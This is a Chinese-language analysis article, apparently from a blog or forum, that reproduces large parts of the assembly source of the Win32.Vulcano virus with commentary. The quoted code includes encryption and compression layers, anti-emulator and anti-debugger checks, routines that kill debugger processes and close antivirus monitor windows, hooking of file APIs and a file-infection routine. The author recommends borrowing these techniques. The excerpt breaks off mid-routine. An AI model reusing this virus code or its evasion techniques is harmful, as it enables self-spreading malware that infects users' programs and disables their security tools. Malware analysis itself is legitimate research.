经典怀旧(一) - Vulcano病毒分析
前言:
Vulcano病毒是29A的Benny在29A第4期发布的。虽然是一个老病毒。和ZMIST一样是我本人最喜欢病毒之一
其中使用的技术和思路很值得我们借鉴。

目录:
1.病毒概括
2.加载器分析
3.病毒体分析
4.BCE32压缩函数分析
5.BPE32变形引擎分析
6.借鉴的技巧

正文:
1.病毒概括
Vulcano首先是一个多态病毒。利用了BPE32变形引擎, 使用了多线程通讯等技巧。其中还包括一些分段加密,
CRC32校验保护的应用.在入口点方面选用了HOOK引入表的技巧。这个病毒只能感染有重定位节的程序,在代码
中可以看到重定位节必须处在最后节位置才可以进行感染。在寻找API地址用API名字的CRC值来替代直接的明文。
以及利用INTEL未文档的的指令(SALC - 0D6h)来反虚拟环境的技巧.(虽然现在来讲这个OPCODE已经不是什么秘密)。
很多很不错的思路在其中都有体验。这个病毒最出彩的地方要算是只做模糊入口点方面了.模糊入口点挺简单就是
HOOK了引入表的函数,而复杂设置它的是之前被HOOK的一些函数.如果宿主程序调用操作文件方面的API,例如FindFirstFile
FileCopy等函数,病毒从中把控制权接管过来,进行感染.(真希望被感染的是其他病毒 呵呵,以毒传毒).
再感染过程中在设置入口点的HOOK函数.

2.加载器分析
启动加载代码

代码:
.code                                           ;start of code section
first_gen:                                      ;first generation code
;; 这里是加载器部分,只是加密病毒并且跳入病毒进行执行而已
  ;second layer of encryption
  ;; 这里是简单的加密加密
  ;; vulcano采用了两层加密的原则.第一层采用BCE32进行加密,第二层
  ;; 取了(virus_end-encrypted+3)/4的大小进行一个简单的xor 1操作
  ;; 的加密
  mov esi, offset encrypted    ;encrypt from...
  mov ecx, (virus_end-encrypted+3)/4  ;encrypt how many bytes...
encrypt1:
  lodsd          ;get dword
  ;简单的异或上1
  xor eax, 1        ;encrypt
  mov [esi-4], eax      ;and store it
  loop encrypt1        ;

  ;; 这里调用BCE32压缩函数进行压缩.
  mov esi, offset compressed              ;source
        mov edi, offset _compressed_            ;destination
        mov ecx, virus_end-compressed+2         ;size
        mov ebx, offset workspace1              ;workspace1
        mov edx, offset workspace2              ;workspace2
        call BCE32_Compress                     ;Compress virus body!
        dec eax
  ;; 保存BCE32要解压的大小,c_szie在.data节中定义
        mov [c_size], eax                       ;save compressed virus size
  
  ;; 执行病毒
  push 0          ;parameter for GetModuleHandleA
  call VulcanoInit      ;call virus code

  ;ExitProcess被病毒进行HOOK,在余下的代码中会进行分析解释
  push 0          ;parameter for ExitProcess
  call ExitProcess      ;this will be hooked by virus l8r
加载器运行的目的就是将病毒实体进行加密后跳入到病毒体中执行。

3.病毒体分析
代码:
;; vulcano使用TASM编译的.可以直接将代码写到数据节内,这点比MASM灵活的多。也是我喜欢它的原因之一.
;; TASM比MASM在语法方面要灵活很多,梦里梦到BORLAND的官网上有它的新版本下载.(付费我也愿意)
;; 不过BORLAND一直没有再继续开发的意思。
.data                                           ;data section
VulcanoInit:                                   ;Start of virus
;; Vulcano在这里初始化
  ;; 这里首先用SALC未公开的文档的OPCODE进行ANTI仿真机
  ;; 这里的SALC是一宏在代码之前定义的
  ;; SALC    equ  <db  0D6h>    ;SALC opcode
  ;;
  SALC          ;undoc. opcode to fuck emulators
  push dword ptr [offset _GetModuleHandleA]  ;push original API
  ;; 以下的语句是将ddAPI直接指向 [offset _GetModuleHandleA] 这种编码技巧
  ;; 很值得我们借鉴。及方便又能达到节省空间的目的。Vulcano编码中大量使用了
  ;; 这种技巧。
ddAPI = dword ptr $-4
  push 400000h        ;push image base
ImgBase = dword ptr $-4
  ;; 保存所有寄存器
  ;; 在vulcano病毒中EIP基地址永远保存在ebp寄存器中
  ;; 以下是解密过程最终启动后会跳入到decompressed中执行病毒真正的
  ;; 恶意代码
  pushad          ;store all registers
  call gd                                 ;get delta offset
gd:     pop ebp                                 ;...
        lea esi, [ebp + _compressed_ - gd]      ;where is compressed virus
                                                ;stored
        lea edi, [ebp + decompressed - gd]      ;where will be virus
                                                ;decompressed
         mov ecx, 0        ;size of compressed virus
c_size = dword ptr $-4


;Decompression routine from BCE32 starts here.
;; 这里为BCE32解压函数
;; 这里是解压函数等稍后在BCE32压缩函数中一通与压缩函数进行分析。
;; 在以下的代码中有一条 jmp decompressed 的语句当解压后直接跳入
;; 解压的病毒中进行运行.这里省略了BCE32的代码与后一同在BCE32压缩
;; 模块分析中进行分析
  ;; BCE32解压函数代码 ...
  ;; 从这里跳入解密后的病毒 --- 
  jmp decompressed
        ;; BCE32解压函数代码 ...

;; 这里是vulcano存放病毒数据的地方
;; _compressed_这里是存放压缩后的病毒
_compressed_    db      virus_end-compressed+200h dup (?) ;here is stored compressed
                                                ;virus body
;; 解压后的病毒以及病毒使用的一些私有数据.在 db      size_unint dup (?) 中定义
decompressed:   db      virus_end-compressed dup (?)  ;here decompressed
                db      size_unint dup (?)      ;and here all uninitialized
                                                ;variables
virtual_end:                                    ;end of virus in memory
ends
病毒要压缩的部分,这部分为病毒实体。是本文的重点部分
代码:
compressed:                                     ;compressed body starts here
  ;; 建立一个异常处理函数,指向jmp_host.其后会进行分析
  ;; 建立后调用call gdlta.到gdlta中进行分析...(同志们翻页了)
        @SEH_SetupFrame <jmp jmp_host>    ;setup SEH frame
        call gdlta                          ;calculate delta offset
;; 以下是病毒所用的一些地址记录。这里记录的都是到gdelta的一个偏移
;; 病毒所需API的地址
gdelta:  dd  ddFindFirstFileA-gdelta    ;addresses
  dd  ddFindNextFileA-gdelta    ;of variables
  dd  ddFindClose-gdelta    ;where will
  dd  ddSetFileAttributesA-gdelta  ;be stored
  dd  ddSetFileTime-gdelta    ;addresses of APIs
  dd  ddCreateFileA-gdelta
  dd  ddCreateFileMappingA-gdelta
  dd  ddMapViewOfFile-gdelta
  dd  ddUnmapViewOfFile-gdelta
  dd  ddCreateThread-gdelta
  dd  ddWaitForSingleObject-gdelta
  dd  ddCloseHandle-gdelta
  dd  ddCreateMutexA-gdelta
  dd  ddReleaseMutex-gdelta
  dd  ddOpenMutexA-gdelta
  dd  ddSleep-gdelta
  dd  ddVirtualProtect-gdelta
  dd  ddGetCurrentProcessId-gdelta
  dd  ddOpenProcess-gdelta
  dd  ddTerminateProcess-gdelta
  dd  ddLoadLibraryA-gdelta
  dd  ddGetProcAddress-gdelta
  dd  ddFreeLibrary-gdelta
  dd  ?        ;end of record
;; Hook函数的地址
newHookers:
  dd  newFindFirstFileA-gdelta  ;addresses of API hookers
  dd  newFindNextFileA-gdelta
  dd  newCopyFileA-gdelta
  dd  newCopyFileExA-gdelta
  dd  newCreateFileA-gdelta
  dd  newCreateProcessA-gdelta
  dd  newDeleteFileA-gdelta
  dd  newGetFileAttributesA-gdelta
  dd  newGetFullPathNameA-gdelta
  dd  new_lopen-gdelta
  dd  newMoveFileA-gdelta
  dd  newMoveFileExA-gdelta
  dd  newOpenFile-gdelta
  dd  newSetFileAttributesA-gdelta
  dd  newWinExec-gdelta
  dd  newExitProcess-gdelta
  dd  newExitThread-gdelta
  dd  newGetLastError-gdelta
  dd  newCloseHandle-gdelta
  dd  ?        ;end of record

;; 被Hook的API原来的地址
oldHookers:
  dd  oldFindFirstFileA-gdelta  ;addresses, where will be
  dd  oldFindNextFileA-gdelta    ;stored original
  dd  oldCopyFileA-gdelta    ;API callers
  dd  oldCopyFileExA-gdelta
  dd  oldCreateFileA-gdelta
  dd  oldCreateProcessA-gdelta
  dd  oldDeleteFileA-gdelta
  dd  oldGetFileAttributesA-gdelta
  dd  oldGetFullPathNameA-gdelta
  dd  old_lopen-gdelta
  dd  oldMoveFileA-gdelta
  dd  oldMoveFileExA-gdelta
  dd  oldOpenFile-gdelta
  dd  oldSetFileAttributesA-gdelta
  dd  oldWinExec-gdelta
  dd  oldExitProcess-gdelta
  dd  oldExitThread-gdelta
  dd  oldGetLastError-gdelta
  dd  oldCloseHandle-gdelta

;; 这里就是病毒真正要开始的地方
;; 第一条语句将gdelta的地址放入ebp中
gdlta:  pop ebp          ;get delta offset
  ;; 首先解密第2层加密的地方,异或1,长度为(virus_end-encrypted+3)/4
  ;; 这里使用了一个小技巧来对抗仿真换了一下选择子
  lea esi, [ebp + encrypted - gdelta]  ;get start of encrypted code
  mov ecx, (virus_end-encrypted+3)/4  ;number of dwords to encrypt
  push es          ;save selector
  push ds
  pop es          ;ES=DS
decrypt:lodsd          ;load dword
  xor eax, 1        ;decrypt it
  mov es:[esi-4], eax      ;save dword with AntiAV (usage of
  loop decrypt        ;selectors)

;; 第2层加密的地方
encrypted:          ;encrypted code starts here
  pop es          ;restore selector
  ;; crc32prot 这里是被CRC保护的位置,病毒在这里进行校验
  lea esi, [ebp + crc32prot - gdelta]  ;start of CRC32 protected code
  mov edi, virus_end-crc32prot    ;size of that
  call CRC32        ;calculate CRC32
  cmp eax, 05BB5B647h      ;check for consistency

;; 被CRC32保护的位置
crc32prot:
  ;; 如果校验值不一样则跳入到jmp_host中
  jne jmp_host    ;jump to host if breakpoints set and such
  ;; 检查是否是Pentium系列的主机
  ;Pentium+ check
  pushad
        pushfd                                  ;save EFLAGS
        pop eax                                 ;get them
        mov ecx, eax                            ;save them
        or eax, 200000h                         ;flip ID bit in EFLAGS
        push eax                                ;store
        popfd                                   ;flags
        pushfd                                  ;get them back
        pop eax                                 ;...
        xor eax, ecx                            ;same?
        je end_cc                               ;shit, we r on 486-
        xor eax, eax                            ;EAX=0
        inc eax                                 ;EAX=1
        cpuid                                   ;CPUID
        and eax, 111100000000b                  ;mask processor family
        cmp ah, 4                               ;is it 486?
        je end_cc                               ;baaaaaaad
  popad
  
  ;; 以下这段代码可以ANTI老版本的NodICE(比99年还老)
  ;; 对于现在???
  mov eax, ds        ;this will fuck
  push eax        ;some old versions
  pop ds          ;of NodICE
  mov ebx, ds
  xor eax, ebx
  jne jmp_host
  
  ;; 获取所需的API地址
  ;; 这里取了一些通常的Kernel32.dll的ImageBase
  ;; 调用get_base验证ImageBase的值
  mov eax, 77F00000h      ;WinNT 4.0 k32 image base
  call get_base
  jecxz k32_found        ;we got image base
  mov eax, 77E00000h      ;Win2k k32 image base
  call get_base
  jecxz k32_found        ;we got image base
  mov eax, 77ED0000h      ;Win2k k32 image base
  call get_base
  jecxz k32_found        ;we got image base
  mov eax, 0BFF70000h      ;Win95/98 k32 image base
  call get_base
  test ecx, ecx
  jne jmp_host        ;base of k32 not found, quit
  
  ;; 返回到 k32_found 标签
  ;; 利用ret跳入,对抗反汇编器
  push cs
  lea ebx, [ebp + k32_found - gdelta]  ;continue on another label
  push ebx
  retf          ;fuck u emulator! :)
;; 出错处理,弹出所有保存的寄存器,并
;; 跳入到jmp_host标签执行
end_cc:  popad          ;restore all registers
  jmp jmp_host        ;and jump to host

  db  'Win32.Vulcano by Benny/29A'  ;little signature :)

;; 获取到kernel32.dll的句柄后遍历从kernel32.dll的引出表
;; 取得所需API的地址.取地址的时候.API的名字是用CRC32的值
;; 进行校验的,这里利用了堆栈的一些技巧。第一条语句获取了
;; 当前宿主程序的ImageBase
k32_found:
  mov ebx, [esp.cPushad+8]    ;get image base of app
  ;; 将当前宿主程序的ImageBase写入到GMHA标签地址处
  mov [ebp + GMHA - gdelta], ebx    ;save it
  ;; ebx指向当前程序的PE头
  add ebx, [ebx.MZ_lfanew]    ;get to PE header
  ;; esi中存放的要取的API地址的字符串CRC32的值
  lea esi, [ebp + crcAPIs - gdelta]  ;start of CRC32 API table
  mov edx, ebp        ;get table of pointers
  ;; edi指向到存放地址的偏移
s_ET:  mov edi, [edx]        ;get item
  ;; 如果判断时候到达最后一个存放的位置,如果为0则达到
  ;; 也表明取得所有API地址
  test edi, edi        ;is it 0?
  ;; 搜索完毕后跳入 end_ET标签.
  je end_ET        ;yeah, work is done
  ;; edi中为存放的偏移,ebp为当前的EIP,相加
  ;; edi为存放偏移的空间地址
  add edi, ebp        ;normalize
  push eax        ;save EAX
  call SearchET        ;search for API
  stosd          ;save its address
  test eax, eax        ;was it 0?
  pop eax          ;restore EAX
  ;; 如果SearchET返回eax = 0 则表明出错
  je jmp_host        ;yeah, error, quit
  ;; 如果为非0则CRC32表的指针移动,存放偏移表的指针移动
  add esi, 4        ;correct pointers
  add edx, 4        ;to pointers...
  jmp s_ET        ;loop
;; 确定是否是kernel32.dll的ImageBase
;; 一个简单的判断,eax中存放的为事先
;; 存入的ImageBase的值.然后利用判断
;; MZ标志和PE标志来确定是否是正确的
;; PE结构
get_base:
  pushad          ;save all registers
  ;; 安装异常处理,出错到err_gbase标号
  @SEH_SetupFrame <jmp err_gbase>    ;setup SEH frame
  xor ecx, ecx        ;set error value
  inc ecx
  cmp word ptr [eax], IMAGE_DOS_SIGNATURE  ;is it EXE?
  jne err_gbase        ;no, quit
  dec ecx          ;yeah, set flag
err_gbase:          ;and quit
  ;; 移除异常处理,ecx中1为出错,0为成功
  @SEH_RemoveFrame      ;remove SEH frame
  ;; 利用pushad返回到ecx
  mov [esp.Pushad_ecx], ecx    ;save flag
  popad          ;restore all registers
  ret          ;and quit from procedure

;; 当获取完所有所需API的地址,流程将跳入此.
;; 这里主要的作用是开辟一条线程来进行当前宿主
;; 程序的引入表HOOK
end_ET:  lea eax, [ebp + tmp - gdelta]    ;now we will create new
  push eax        ;thread to hide writing to
  xor eax, eax        ;Import table
  push eax
  ;; 将所用API地址的偏移表作为参数
  ;; 传递给新的线程
  push ebp        ;delta offset
  lea edx, [ebp + NewThread - gdelta]  ;address of thread procedure
  push edx
  push eax        ;and other shit to stack
  push eax
  mov eax, 0
;; 这里是一个很猥琐的技巧,可以在自己的代码中
;; 进行应用
ddCreateThread = dword ptr $-4
  call eax        ;create thread!
  test eax, eax        ;is EAX=0?
  ;; 开辟线程失败则退出
  je jmp_host        ;yeah, quit
  ;; 要入第一个eax是给CloseHandle传参数
  ;; 其后等待这个线程执行完毕
  push eax        ;parameter for CloseHandle
  push -1          ;infinite loop
  push eax        ;handle of thread
  call [ebp + ddWaitForSingleObject - gdelta]  ;wait for thread termination

  call [ebp + ddCloseHandle - gdelta]  ;close thread handle

;now we will create space in shared memory for VLCB structure
;; 创建一个VLCB结构在共享内存
  call @VLCB
  db  'VLCB',0      ;name of shared area
@VLCB:  push 2000h        ;size of area
  push 0
  push PAGE_READWRITE
  push 0
  ;; 创建一个交换文件的映射
  push -1          ;SWAP FILE!
  call [ebp + ddCreateFileMappingA - gdelta]  ;open area
  test eax, eax
  je jmp_host        ;quit if error

  xor edx, edx
  push edx
  push edx
  push edx
  push FILE_MAP_WRITE
  push eax
  call [ebp + ddMapViewOfFile - gdelta]  ;map view of file to address
  xchg eax, edi        ;space of virus
  test edi, edi
  ;; 如果映射出错则跳入 end_gd1 标签处
  je end_gd1        ;quit if error
  mov [ebp + vlcbBase - gdelta], edi  ;save base address

  ;now we will create named mutex
  ;; 创建一个互斥体,互斥名随机
  call @@@1        ;push address of name
@@1:  dd  0        ;random name
@@@1:  RDTCS          ;get random number
  mov edx, [esp]        ;get address of name
  shr eax, 8        ;terminate string with \0
  mov [edx], eax        ;and save it
  ;; esi指向互斥体名
  mov esi, [esp]        ;get address of generated name
  push 0
  push 0
  mov eax, 0
ddCreateMutexA = dword ptr $-4
  call eax        ;create mutex
  test eax, eax
  ;; 创建失败则跳入end_gd2
  je end_gd2        ;quit if error

;now we will initialize VLCB structure
;; 初始化VLCB结构
  xor edx, edx        ;EDX=0
  ;; edi保存的VLCB共享内存
  mov eax, edi        ;get base of VLCB
  ;; VLCB的标志
         mov [eax.VLCB_Signature], 'BCLV'  ;save signature

;now we will initialize record for thread
  ;; 20个通信频道
  mov ecx, 20        ;20 communication channels
  ;; 检查当前记录结构是否被使用,如果被使用则进入下一个
sr_t:  cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0  ;check handle
  jne tnext        ;if already reserved, then try next
  mov esi, [esi]        ;get name of mutex
  mov [edi.VLCB_TSep.VLCB_THandle], esi  ;save it
  ;; 互斥体的ID号
  mov [ebp + t_number - gdelta], edx  ;and save ID number of mutex
  ;; 创建线程,这里创建后则跳入到宿主中进行执行
  ;; 线程中进行等待当宿主程序执行到被HOOK的函数时
  ;; 通过对以上线程的操作来进行一下步操作
  lea eax, [ebp + tmp - gdelta]    ;create new thread
  push eax        ;for IPC
  xor eax, eax
  push eax
  push ebp
  lea edx, [ebp + mThread - gdelta]  ;address of thread procedure
  push edx
  push eax
  push eax
  call [ebp + ddCreateThread - gdelta]  ;create new thread
  xchg eax, ecx
  jecxz end_gd3        ;quit if error

;; 如果有任何错误则跳入到宿主程序中
jmp_host:
  ;移除SEH处理程序
  @SEH_RemoveFrame                        ;remove SEH frame
  mov eax, [esp.cPushad+4]    ;save address of previous
  mov [esp.Pushad_eax], eax    ;API caller
        popad                                   ;restore all regs
  add esp, 8        ;repair stack pointer
  push cs          ;save selector
  push eax        ;save offset of API caller
  retf          ;jump to host :)
  ;; 下一个VLCB结构,移动edi指针
tnext:  add edi, VLCB_TSize      ;get to next record
  ;; 互斥体ID号自增
  inc edx          ;increment counter
  loop sr_t        ;try again
  jmp jmp_host        ;quit if more than 20 viruses r in memory
end_gd3:push esi
  call [ebp + ddCloseHandle - gdelta]  ;close mutex
end_gd2:push dword ptr [ebp + vlcbBase - gdelta]
  call [ebp + ddUnmapViewOfFile - gdelta]  ;unmap VLCB
end_gd1:push edi
  call [ebp + ddCloseHandle - gdelta]  ;close mapping of file
  jmp jmp_host        ;and jump to host


gtDelta:call mgdlta        ;procedure used to getting
;; 可以利用此方法的扩展随机产生单字节opcode去影响后面的指令
;; 从而达到ANTI-反汇编的目的
;; mgdelta标记和ebp在病毒后面用来定位地址
mgdelta:db  0b8h        ;fuck u disassemblers
mgdlta:  pop ebp          ;get it
  ;; 这里也进行了一个模糊的跳入,跳入之前压入堆栈的地址
  ret          ;and quit

;; 被Hook的函数们,被HOOK的函数大多都与文件操作有关
;; 这些函数被用来检查文件时候可以被感染,以及感染文件
newFindFirstFileA:        ;hooker for FindFirstFileA API
  push dword ptr [esp+8]      ;push parameters
  push dword ptr [esp+8]      ;...
  c_api oldFindFirstFileA      ;call original API

p_file:  pushad          ;store all registers
  call gtDelta        ;get delta
  mov ebx, [esp.cPushad+8]    ;get Win32 Find Data
  call Check&Infect      ;try to infect file
  popad          ;restore all registers
  ret 8          ;and quit

newFindNextFileA:
  push dword ptr [esp+8]      ;push parameters
  push dword ptr [esp+8]      ;...
  c_api oldFindNextFileA      ;call previous API
  jmp p_file        ;and continue

;; 这段函数对以下一些操作文件的API的支持
process_file:
  pushad          ;store all registers
  call gtDelta        ;get delta offset
  lea esi, [ebp + WFD2 - mgdelta]    ;get Win32_Find_Data
  push esi        ;save it
  push dword ptr [esp.cPushad+0ch]  ;push offset to filename
  call [ebp + ddFindFirstFileA - mgdelta]  ;find that file
  inc eax
  je end_pf        ;quit if error
  dec eax
  xchg eax, ecx        ;handle to ECX
  mov ebx, esi        ;WFD to EBX
  call Check&Infect      ;check and infect it
  push ecx
  call [ebp + ddFindClose - mgdelta]  ;close find handle
end_pf:  popad          ;restore all registers
  ret          ;and quit

;generic hookers for some APIs
newCopyFileExA:
  call process_file
  j_api oldCopyFileExA
newCopyFileA:
  call process_file
  j_api oldCopyFileA
newCreateFileA:
  call process_file
  j_api oldCreateFileA
newCreateProcessA:
  call process_file
  j_api oldCreateProcessA
newDeleteFileA:
  call process_file
  j_api oldDeleteFileA
newGetFileAttributesA:
  call process_file
  j_api oldGetFileAttributesA
newGetFullPathNameA:
  call process_file
  j_api oldGetFullPathNameA
new_lopen:
  call process_file
  j_api old_lopen
newMoveFileA:
  call process_file
  j_api oldMoveFileA
newMoveFileExA:
  call process_file
  j_api oldMoveFileExA
newOpenFile:
  call process_file
  j_api oldOpenFile
newSetFileAttributesA:
  call process_file
  j_api oldSetFileAttributesA
newWinExec:
  call process_file
  j_api oldWinExec

;; 打开一个设备驱动
open_driver:
        xor eax, eax                            ;EAX=0
        push eax                                ;parameters
        push 4000000h                           ;for
        push eax                                ;CreateFileA
        push eax                                ;API
        push eax                                ;function
        push eax                                ;...
  push ebx
        call [ebp + ddCreateFileA - mgdelta]    ;open driver
  ret

;; 关闭设备驱动
close_driver:
        push eax                                ;close its handle
        call [ebp + ddCloseHandle - mgdelta]
  ret

;; 检测调试器相关
common_stage:          ;infect files in curr. directory
  pushad
  call gtDelta        ;get delta offset

  mov ecx, fs:[20h]      ;get context debug
  jecxz n_debug        ;if zero, debug is not present

k_debug:mov eax, 0
ddGetCurrentProcessId = dword ptr $-4
  call eax        ;get ID number of current process
  call vlcb_stuph        ;common stuph
  lea esi, [ebp + data_buffer - mgdelta]
  mov dword ptr [esi.WFD_szAlternateFileName], ebp  ;set random data
  mov ebx, VLCB_Debug1      ;kill debugger
  call get_set_VLCB      ;IPC!

vlcb_stuph:
  xor edx, edx        ;random thread
  dec edx
  mov ecx, VLCB_SetWait      ;set and wait for result
  ret

n_debug:call vlcb_stuph        ;common stuph
  lea esi, [ebp + data_buffer - mgdelta]
  mov dword ptr [esi.WFD_szAlternateFileName], ebp  ;set random data
  mov ebx, VLCB_Debug2      ;check for SoftICE
  call get_set_VLCB      ;IPC!
  mov eax, dword ptr [esi.WFD_szAlternateFileName]  ;get result
  dec eax
  test eax, eax
  je endEP        ;quit if SoftICE in memory

  call vlcb_stuph        ;common stuph
  lea esi, [ebp + data_buffer - mgdelta]
  mov dword ptr [esi.WFD_szAlternateFileName], ebp  ;set random data
  mov ebx, VLCB_Monitor      ;kill monitors
  call get_set_VLCB      ;IPC!

  lea ebx, [ebp + WFD - mgdelta]    ;get Win32 Find Data
  push ebx        ;store its address
  call star
  db  '*.*',0        ;create mask
star:  mov eax, 0
ddFindFirstFileA = dword ptr $-4
  call eax        ;find file
  inc eax
  je endEP        ;if error, then quit
  dec eax
  mov [ebp + fHandle - mgdelta], eax  ;store handle
  call Check&Infect      ;and try to infect file

findF:  lea ebx, [ebp + WFD - mgdelta]    ;get Win32 Find Data
  push ebx        ;store address
  push_LARGE_0        ;store handle
fHandle = dword ptr $-4
  mov eax, 0
ddFindNextFileA = dword ptr $-4
  call eax        ;find next file
  xchg eax, ecx        ;result to ECX
  jecxz endEP2        ;no more files, quit
  call Check&Infect      ;try to infect file
  jmp findF        ;find another file

endEP2:  push dword ptr [ebp + fHandle - mgdelta];store handle
  mov eax, 0
ddFindClose = dword ptr $-4
  call eax        ;close it
endEP:  popad
  ret


;; 当程序退出时运行.检验调试器是否存在并且感染当前目录下文件
newExitProcess:          ;hooker for ExitProcess API
  pushad
  call common_stage      ;infect files in current directory
  call gtDelta        ;get delta offset
  mov edx, [ebp + t_number - mgdelta]  ;get ID number of thread
  push edx
  mov ecx, VLCB_SetWait      ;set and wait for result
  lea esi, [ebp + data_buffer - mgdelta]
  mov dword ptr [esi.WFD_szAlternateFileName], ebp
  mov ebx, VLCB_Quit      ;terminate thread
  call get_set_VLCB      ;IPC!

  pop edx          ;number of thread
  imul edx, VLCB_TSize      ;now we will
  push VLCB_TSize/4      ;erase thread
  pop ecx          ;record
  add edi, edx        ;from VLCB
  add edi, VLCB_TSep
  xor eax, eax
  rep stosd        ;...
  popad
  j_api oldExitProcess      ;jump to original API


;next hookers
newExitThread:
  call common_stage
  j_api oldExitThread
newCloseHandle:
  call common_stage
  j_api oldCloseHandle
newGetLastError:
  call common_stage
  j_api oldGetLastError

;; 反AMON AVP monitor
;; 原理就是好寻找窗体,之后向窗体发送退出消息
Monitor:pushad          ;store all registers
  call szU32        ;push address of string USER32.dll
  db  'USER32',0
szU32:  mov eax, 0
ddLoadLibraryA = dword ptr $-4      ;Load USER32.dll
  call eax
  xchg eax, ebx
  test ebx, ebx
  je end_mon2        ;quit if error
  call FindWindowA      ;push address of string FindWindowA
  db  'FindWindowA',0
FindWindowA:
  push ebx        ;push lib handle
  mov eax, 0
ddGetProcAddress = dword ptr $-4    ;get address of FindWindowA API
  call eax
  xchg eax, esi
  test esi, esi
  je end_mon        ;quit if error
  call PostMessageA      ;push address of string PostMessageA
  db  'PostMessageA',0
PostMessageA:
  push ebx
  call [ebp + ddGetProcAddress - mgdelta]  ;get address of PostMessageA
  xchg eax, edi
  test edi, edi
  je end_mon        ;quit if error

  mov ecx, 3        ;number of monitors
  call Monitors        ;push address of strings
  db  'AVP Monitor',0      ;AVP monitor
  db  'Amon Antivirus Monitor',0  ;AMON english version
  db  'Antivusov?monitor Amon',0  ;AMON slovak version
Monitors:
  pop edx          ;pop address
k_mon:  pushad          ;store all registers
  xor ebp, ebp
  push edx
  push ebp
  call esi        ;find window
  test eax, eax
  je next_mon        ;quit if not found
  push ebp
  push ebp
  push 12h        ;WM_QUIT
  push eax
  call edi        ;destroy window
next_mon:
  popad          ;restore all registers
  push esi
  mov esi, edx
  @endsz          ;get to next string
  mov edx, esi        ;move it to EDX
  pop esi
  loop k_mon        ;try another monitor

end_mon:push ebx        ;push lib handle
  mov eax, 0
ddFreeLibrary = dword ptr $-4
  call eax        ;unload library
end_mon2:
  popad          ;restore all registers
  jmp d_wr        ;and quit


;; 这段代码用来实现检查在95与NT下的softice
Debug2:  lea ebx, [ebp + sice95 - mgdelta]  ;address of softice driver string
  call open_driver      ;open driver
        inc eax                                 ;is EAX==0?
        je n_sice                    ;yeah, SoftICE is not present
        dec eax
  call close_driver      ;close driver
  jmp d_wr        ;and quit
n_sice:  lea ebx, [ebp + siceNT - mgdelta]  ;address of softice driver string
  call open_driver      ;open driver
  inc eax
  je n2_db        ;quit if not present
  dec eax
  call close_driver      ;close driver
  jmp d_wr        ;and quit


;; 这段代码用来通过调试的进程ID来结束调试器的进程
Debug1:  push dword ptr [esi.WFD_szAlternateFileName]  ;push ID number of process
  push 0
  push 1
  mov eax, 0
ddOpenProcess = dword ptr $-4
  call eax        ;open process
  test eax, eax
  jne n1_db
n2_db:  call t_write        ;quit if error
  jmp m_thrd
n1_db:  push 0
  push eax
  mov eax, 0
ddTerminateProcess = dword ptr $-4    ;destroy debugged process :)
  call eax
  jmp t_write

;; 中断通讯的主要线程处理程序
;; 这个毒比较出彩的地方
mThread:pushad          ;main IPC thread
  @SEH_SetupFrame <jmp end_mThread>  ;setup SEH frame
  call gtDelta        ;get delta
;; 指向call getDelta后跳入到此进行真正的执行
;; m_thrd是一个自修改的地方,用于确定自己的线程
;; ID号
m_thrd:  mov edx, 0        ;get thread ID number
t_number = dword ptr $-4
  ;; ecx中保存了等待信号
  mov ecx, VLCB_WaitGet
  ;; esi中保存了一个临时缓冲的指针
  lea esi, [ebp + data_buffer - mgdelta]
  ;; 设置数据并等待
  call get_set_VLCB      ;wait for request
  ;; 如果等到请求则以此判断请求
  dec ecx
  ;; 退出
  jecxz Quit        ;quit
  dec ecx
  ;; 检查文件是否可以感染
  jecxz Check        ;check file
  cmp ecx, 1
  ;; 感染文件
  je Infect        ;check and infect file
  cmp ecx, 2
  ;; 检查调试器
  je Debug1        ;check for debugger
  ;; 检查调试器
  cmp ecx, 3
  je Debug2        ;check for SoftICE
  ;; 检查AV monitors
  cmp ecx, 4
  je Monitor        ;kill AV monitors
  
  push 0
  call [ebp + ddSleep - mgdelta]    ;switch to next thread
  jmp m_thrd        ;and again...

Quit:  call t_write        ;write result
end_mThread:
  @SEH_RemoveFrame      ;remove SEH frame
  popad          ;restore all registers
  ret          ;and quit from thread
t_write:xor ecx, ecx        ;set result
  inc ecx
t_wr:  inc ecx
  mov dword ptr [esi.WFD_szAlternateFileName], ecx  ;write it
  mov ecx, VLCB_SetWait      ;set and wait
  mov edx, [ebp + t_number - mgdelta]  ;this thread
  call get_set_VLCB      ;IPC!
  ret
Check:  @SEH_SetupFrame <jmp err_sCheck>  ;setup SEH frame
  call CheckFile        ;check file
  jecxz err_sCheck      ;quit if error
_c1_ok:  @SEH_RemoveFrame      ;remove SEH frame
  call t_write        ;write result
  jmp m_thrd        ;and quit
err_sCheck:
  @SEH_RemoveFrame      ;remove SEH frame
d_wr:  xor ecx, ecx
  call t_wr        ;write result
  jmp m_thrd        ;and quit

;; 感染算法
Infect:  @SEH_SetupFrame <jmp _c1_ok>    ;setup SEH frame
  call InfectFile        ;check and infect file
  jmp _c1_ok        ;and quit

InfectFile:
  lea esi, [esi.WFD_szFileName]    ;get filename
  pushad
  xor eax, eax
  push eax
  push FILE_ATTRIBUTE_NORMAL
  push OPEN_EXISTING
  push eax
  push eax
  push GENERIC_READ or GENERIC_WRITE
  push esi
  mov eax, 0
ddCreateFileA = dword ptr $-4
  call eax        ;open file
  inc eax
  je r_attr        ;quit if error
  dec eax
  mov [ebp + hFile - mgdelta], eax  ;save handle

  xor edx, edx
  push edx
  push edx
  push edx
  push PAGE_READWRITE
  push edx
  push eax
  mov eax, 0
ddCreateFileMappingA = dword ptr $-4
  call eax        ;create file mapping
  xchg eax, ecx
  jecxz endCreateMapping      ;quit if error
  mov [ebp + hMapFile - mgdelta], ecx  ;save handle

  xor edx, edx
  push edx
  push edx
  push edx
  push FILE_MAP_WRITE
  push ecx
  mov eax, 0
ddMapViewOfFile = dword ptr $-4
  call eax        ;map view of file
  xchg eax, ecx
  jecxz endMapFile      ;quit if error
  mov [ebp + lpFile - mgdelta], ecx  ;save base address
  jmp nOpen

;; 这里当感染完毕后做的一些事情
endMapFile:
  push_LARGE_0        ;store base address
lpFile = dword ptr $-4
  mov eax, 0
ddUnmapViewOfFile = dword ptr $-4
  call eax        ;unmap view of file

endCreateMapping:
  push_LARGE_0        ;store handle
hMapFile = dword ptr $-4
  call [ebp + ddCloseHandle - mgdelta]  ;close file mapping
  
  ;将修改时间重新写回
  lea eax, [ebp + data_buffer.WFD_ftLastWriteTime - mgdelta]
  push eax
  lea eax, [ebp + data_buffer.WFD_ftLastAccessTime - mgdelta]
  push eax
  lea eax, [ebp + data_buffer.WFD_ftCreationTime - mgdelta]
  push eax
